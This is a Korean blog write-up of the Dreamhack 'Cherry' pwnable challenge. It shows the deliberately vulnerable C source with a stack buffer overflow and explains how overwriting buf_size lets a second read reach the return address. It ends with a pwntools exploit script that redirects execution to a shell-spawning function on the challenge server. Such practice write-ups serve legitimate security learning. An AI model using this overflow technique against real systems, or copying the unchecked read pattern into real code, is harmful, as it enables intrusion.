본문 바로가기

System Hacking/Dreamhack

[Dreamhack] Cherry write up

 

오랜만에 포너블 워게임

 

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>
#include <fcntl.h>

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}



void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(30);
}





void flag() {
  char *cmd = "/bin/sh";
  char *args[] = {cmd, NULL};
  execve(cmd, args, NULL);
}



int main(int argc, char *argv[]) {

    int stdin_fd = 0;
    int stdout_fd = 1;
    char fruit[0x6] = "cherry";
    int buf_size = 0x10;
    char buf[0x6];

    initialize();



    write(stdout_fd, "Menu: ", 6);
    read(stdin_fd, buf, buf_size);
    
    if(!strncmp(buf, "cherry", 6)) {
        write(stdout_fd, "Is it cherry?: ", 15);
        read(stdin_fd, fruit, buf_size);
    }



    return 0;

 

코드는 간단하다. flag함수가 실행되면 쉘이 따이기 때문에 끝이다.

 

코드에서 입력은 총 두 번을 받고 있다. 첫 번째 buf에서, 두 번째 fruit에서 모두 16만큼 받고 있다. BOF가 일어나긴 하나 ret가 덮일지는 모르겠다. gdb로 바로 까서 스택프레임을 그러보자.

 

main stack frame

 

예상대로 ret가 덮이지는 않는다. 일단 보호기법도 확인해보자.

aslr이랑 nx만 걸려 있다 PIE는 꺼져 있기 떄문에 코드영역은 고정이므로 코드 내 함수들은 자유롭게 활용이 가능하다.

 

어차피 bof문제는 입력 받는 곳에서 시작이므로 입력 두 부분을 분석해보자.

 

1. buf


 

먼저 buf에서 입력을 받는 부분이다. 스택프레임을 보면 buf에서 입력 받아 buf_size까지 덮을 수 있다. buf_size를 내 마음대로 변경하면 두 번쨰 입력에서 ret까지 bof가 일어난다. 

 

 

2. fruit


 

ret를 flag함수 주소로 덮자!

 

 

 

payload


from pwn import *

p = remote('host3.dreamhack.games', 22420)
e = ELF('./chall')

flag = e.symbols['flag']

payload = b'cherry'
payload += b'A'*6
payload += b'100'

p.sendafter(b'Menu: ', payload)

payload = b'A'*26
payload += p64(flag)

p.sendafter(b'Is it cherry?: ', payload)

p.interactive()

 

 

 

'System Hacking > Dreamhack' 카테고리의 다른 글

[Dreamachk] mmapped write up  (0) 2024.04.01